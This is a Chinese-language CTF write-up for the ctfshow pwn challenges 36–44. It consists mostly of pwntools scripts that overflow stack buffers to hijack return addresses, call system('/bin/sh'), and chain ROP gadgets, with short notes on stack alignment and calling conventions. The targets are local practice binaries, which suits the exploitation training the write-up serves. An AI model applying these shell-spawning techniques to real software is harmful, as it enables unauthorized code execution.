ctfshow刷题wp

ctfshow刷题wp

栈溢出

pwn36

image

1
2
3
4
5
6
7
8
from pwn import *

p = process('./pwn')

# p = remote('pwn.challenge.ctf.show', 28250)
payload = cyclic(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

pwn37

image

image

1
2
3
4
5
6
7
8
9
10
11

from pwn import *

p = process('./pwn')

# p = remote('pwn.challenge.ctf.show', 28250)
get_flag = 0x08048521
payload = cyclic(0x12 + 0x4) + p32(get_flag)

p.sendline(payload)
p.interactive()

pwn38

涉及到了栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

from pwn import *

p = process('./pwn')

# p = remote('pwn.challenge.ctf.show', 28250)
get_flag = 0x400657

retn=0x40066d

payload = b'a'*(0xA+8) + p64(retn) + p64(get_flag)
gdb.attach(p)
p.sendline(payload)
p.interactive()

pwn39

使用32位的参数传递规则来处理 参数传入栈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = process('./pwn')

system_address=0x80483A0

second_data=0

first_data=0x8048750


payload = b'a'*(0x12+4) + p32(system_address)+p32(second_data)+p32(first_data)

p.sendline(payload)
p.interactive()

pwn40

这次是64位 拿的寄存器传递参数 这次还是要将参数放入栈中 使用pop 传递给rdi

1
ROPgadget --binary pwn --only "pop|ret"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('./pwn')

system_address=0x400520


bin_sh=0x400808

pop_rdi_retn=0x4007e3

retn=0x4004fe

payload = b'a'*(0xa+8) + p64(pop_rdi_retn)+p64(bin_sh)+p64(retn)+p64(system_address)


p.sendline(payload)
p.interactive()

pwn41

32位 只有sh 没有bin/sh 大差不差 直接栈传递参数就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process('./pwn')

system_address=0x80483D0

first_data=0x80487BA

second_data=0



payload = b'a'*(0x12+4) +p32(system_address)+p32(0)+p32(first_data)



p.sendline(payload)


p.interactive()

pwn42

64位就是要考虑栈对齐和使用寄存器传递了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process('./pwn')

system_address=0x400560

bin_sh=0x400872

pop_rdi_retn=0x400843

retn=0x40053e

payload = b'a'*(0xa+8) + p64(pop_rdi_retn)+p64(bin_sh) +p64(retn)+p64(system_address)

p.sendline(payload)

p.interactive()

pwn43

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

# 设置调试模式
context.log_level = 'debug'


# 启动进程并附加GDB
io = process("./pwn")
gdb.attach(io, """
b *main
b *vulnerable_function
c
""")

# 定义关键地址
buf2 = 0x0804B060
system = 0x08048450
gets = 0x08048420

# 构造payload
payload = b'a'*(0x6c + 4) # 填充缓冲区 + EBP
payload += p32(gets) # 覆盖返回地址为gets
payload += p32(system) # gets的返回地址(执行完gets后跳转到system)
payload += p32(buf2) # gets的参数(写入位置)
payload += p32(buf2) # system的参数(/bin/sh的地址)

# 调试信息
log.info("Payload length: %d" % len(payload))
log.info("Payload hex: %s" % payload.hex())

# 发送payload
pause()
io.sendline(payload)
io.sendline(b"/bin/sh") # gets读取的内容

# 交互模式
io.interactive()

这里使用的是栈传递参数 由于call相当于 push了返回地址和jmp到了jmp 所以这里是直接使用的jmp的地址并且直接把返回地址压栈进去了

1
2
3
4
|-------------------|
| 返回地址 | ← gets执行完后要返回的地址
| 缓冲区指针 | ← gets的参数(写入位置)
|-------------------|

pwn44

使用寄存器传递参数 考虑对齐问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p = process('./pwn')

get_address=0x0400530

pop_rdi_ret=0x4007f3

buf2_address=0x602080

retn=0x4004fe

system_address=0x400520



payload=b'a'*(0xa+8)
payload+=p64(pop_rdi_ret)
payload+=p64(buf2_address)
payload+=p64(get_address)

payload+=p64(pop_rdi_ret)
payload+=p64(buf2_address)
payload+=p64(system_address)




p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()